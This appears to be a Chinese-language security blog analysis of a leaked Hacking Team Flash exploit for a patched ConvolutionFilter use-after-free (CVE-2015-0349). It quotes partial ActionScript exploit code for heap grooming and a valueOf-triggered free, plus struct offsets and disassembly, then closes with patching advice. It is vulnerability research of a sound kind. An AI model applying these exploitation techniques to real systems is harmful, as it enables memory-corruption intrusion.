Hacking Team攻擊代碼：Pwn2Own漏洞
責編：admin ｜2015-07-08 17:10:42最近專門提供通過攻擊手法進行網絡監聽的黑客公司Hacking Team被黑，包含該公司的郵件、文檔和攻擊代碼的400G數據泄漏。
之前我們分析了HackingTeam泄露數據中的Flash 0day （bytearray 0day）。而在泄露數據中我們還看到了另外一個名為convolution_filter的flash exploit。
看了一下這個flash exploit，很快意識到這個漏洞是一個已經修補的漏洞cve-2015-0329，在今年4月份被修補，這也解釋了readme文檔中，flash后面加了“（April 2015）”，意思是這個洞只能用到今年4月之前的flash版本中：
（https://helpx.adobe.com/cn/security/products/flash-player/apsb15-06.html）
這個漏洞有個不平凡的故事，今年的Pwn2Own大賽中，前Vupen主力Nicolas Joly正是用這個漏洞拿下了64位Flash插件：
所以事情就變得很有趣了，一邊是Nico用這個漏洞打 Pwn2Own，另一邊HackingTeam（從常理推測，應該是通過其它渠道，和Nico無關）也掌握了這個漏洞并將其用于自己的Exploit工具包中。
CVE-2015-0349原理分析
再回頭看一下CVE-2015-0349這個漏洞，這是一個ActionScript 3中ConvolutionFilter類的內部matrix數組的一個Use After Free漏洞，這是個非常好用的漏洞，在32位和64位上都可以輕松實現穩定利用。
我們來看一下HackingTeam泄露的exploit代碼，關鍵部分如下：
1.? 創建ConvolutionFilter對象：
// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]
for（i=20; i < alen; i+=6）{
a[i] = new Class2（i）；
for（j=i+1; j < i+5; j++）
a[j] = new ConvolutionFilter（14,15）；
a[i+5] = new Class2（i+5）；
}
1.? 設置ConvolutionFilter.matrix
var m:Array = new Array（bLen）；
m[0] = new Clasz;
m[1] = m[0];
try { filter.matrix = m; } catch （e:Error）{}
這里有一個關鍵點，filter.matrix被賦值為m（類型是 Array），而Array m的第一個元素是一個Clasz類，而Clasz類定義了valueOf方法，這個valueOf是漏洞觸發的關鍵點：
public class Clasz
{
…
public function Clasz（） {?? }
prototype.valueOf = function（）
{
…
}
2.? 在Clasz的valueOf函數中，設置ConvolutionFilter.matrixX：
prototype.valueOf = function（）
{
if （filter.matrixX > 14） throw new Error（””）； // check for the second valueOf（） call
ref = new Array（5）；
collect.push（ref）； // protect from GC // for RnD
filter.matrixX = 15; // reallocate filter matrix
// reuse freed memory
for（var i:int; i < ref.length; i++） {
ref[i] = new Vector.<uint>;
ref[i].length = bLen;
}
// return value for vector length overwriting
return 2; // = 0x40000000 as single precision
}
事實上filter.matrixX = 15執行完畢之后，ConvolutionFilter內部的一個float數組（我們叫他matrixArray）就會被釋放，而從valueOf返回之后，已經釋放的matrixArray還會繼續被使用，并且往里面寫入數據，從而造成了Use-After-Free。我們可以看到valueOf函數中，在設置了filter.matrixX之后，分配了一系列的vector<uint>，這些vector就是用來占用釋放后的matrixArray的內存的。這樣當程序繼續往被釋放后的matrixArray里寫數據時，實際上是在往vector對象里面寫數據，從而達到修改vector長度字段的目的，便于進一步exploit。
細節分析
我們首先先介紹一下ConvolutionFilter的關鍵結構：
ConvolutionFilterObject {
+10 ConvolutionFilter {
+14???? int matrixX;
+18???? int matrixY;
+1C???? float *matrixArray;
+20???? int matrixLength;
}
}
ConvolutionFilter里面有成員存放matrix矩陣，matrixX和matrixY代表矩陣的x和y，matrixArray是動態分配的數組，其大小是由matrixX和matrixY決定的，關系如下：
matrixArray = alloc（ matrixX * matrix * sizeof（float） ）
當matrixX和matrixY改變時，如果原來的matrixArray大小不足以容納現在的容量，則舊的matrixArray會被釋放，然后分配新的matrixArray （UAF就是這么來的）
當exploit代碼創建ConvolutionFilter時，傳入的參數是matrixX=14，matrix=15：
a[j] = new ConvolutionFilter（14,15）；
因此matrixArray初始大小為 14 * 15 * 4 = 840，然后我們看一下第二步，執行
try { filter.matrix = m; } catch （e:Error）{}
時發生了什么：
ConvolutionFilter::set_matrix基本上是直接調用了另外一個函數，我們叫他set_matrix_internal:
.text:102E9604 loc_102E9604:?????????????????????????? ; CODE XREF: sub_102E95ED+Aj
.text:102E9604???????????????? push??? 14h
.text:102E9606???????????????? lea???? eax, [esi+24h]
.text:102E9609???????????????? push??? eax
.text:102E960A???????????????? mov???? eax, [esi+8]
.text:102E960D???????????????? mov???? ecx, [eax+4]
.text:102E9610???????????????? or????? edi, 1
.text:102E9613???????????????? push??? edi
.text:102E9614???????????????? call??? set_matrix_internal
調用該函數時參數如下：
set_matrix_internal（ paramArray,? matrixArray,? matrixLength ）
這里的關鍵點是：matrixArray直接作為參數被傳入。我們來看一下set_matrix_internal函數，該函數的功能可以描述為：將paramArray（在exploit里面就是m這個數組）里面的每一項賦值給matrixArray中對應的項，由于matrixArray的類型為float *，因此如果有必要的話得把paramArray中的元素轉換成float，對應邏輯的偽代碼如下：
for （ i = 0; I < matrixLength; ++ i ） {
matrixArray[i] = （float）ConvertToNumber（paramArray.get（i））；
}
還記得我們的m[0]被設置成一個Clasz對象了嗎？
m[0] = new Clasz;
將Clasz對象轉換成Number的過程中，會調用Clasz對象的valueOf函數，而前面已經講過，valueOf函數會設置filter.matrixX=15（原來的matrixX為14），此時由于matrixArray大小不夠，于是舊的matrixArray被釋放，新的matrixArray被分配。然后從valueOf返回到set_matrix_internal以后，程序繼續向matrixArray里面寫入值，注意這里用的還是舊的 matrixArray，于是UAF漏洞就這樣產生了。
又是valueOf
如果你看過我們前一篇分析bytearray 0day的文章，你可能對valueOf這個函數依然印象深刻。事實上這兩個洞無論是從產生原理，還是利用方式來講都非常的相近。背后隱藏的邏輯是腳本語言從native code回調到腳本層（通過toString, valueOf, event等等），還是很容易出現沒處理好而造成UAF等情況的發生。類似case已經在chrome, IE, flash, java等等軟件中多次出現，有心的讀者可以去留意一下。事實上這也是腳本語言漏洞挖掘中的一個值得切入的點。
漏洞防范
由于Adobe官方已針對此漏洞發布了安全更新，用戶只要及時升級就可避免受此漏洞影響。